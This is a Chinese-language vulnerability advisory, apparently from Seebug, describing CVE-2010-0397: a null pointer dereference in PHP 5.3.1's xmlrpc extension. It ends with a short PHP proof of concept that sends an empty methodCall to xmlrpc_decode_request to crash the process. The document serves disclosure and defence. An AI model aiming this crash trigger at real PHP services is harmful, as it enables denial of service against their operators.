PHP xmlrpc扩展空指针引用拒绝服务漏洞

2010-03-1900:00:00

Root

www.seebug.org

0.023 Low

EPSS

Percentile

88.5%

JSON

BUGTRAQ ID: 38708
CVE(CAN) ID: CVE-2010-0397

PHP是广泛使用的通用目的脚本语言，特别适合于Web开发，可嵌入到HTML中。

PHP所使用的xmlrpc扩展在解码畸形xml-rpc请求时存在空指针引用错误。如果请求为有效的xml但没有包含预期的标签，xmlrpc_decode_request就会生成分段错误并导致崩溃。

PHP 5.3.1
厂商补丁：

PHP

目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.php.net


                                                &lt;?php
$req = '&lt;?xml version=&quot;1.0&quot;?&gt;
&lt;methodCall&gt;
   &lt;/methodCall&gt;';
    $result = xmlrpc_decode_request( $req, $frop );
?&gt;

0.023 Low

EPSS

Percentile

88.5%

JSON

Related for SSV:19297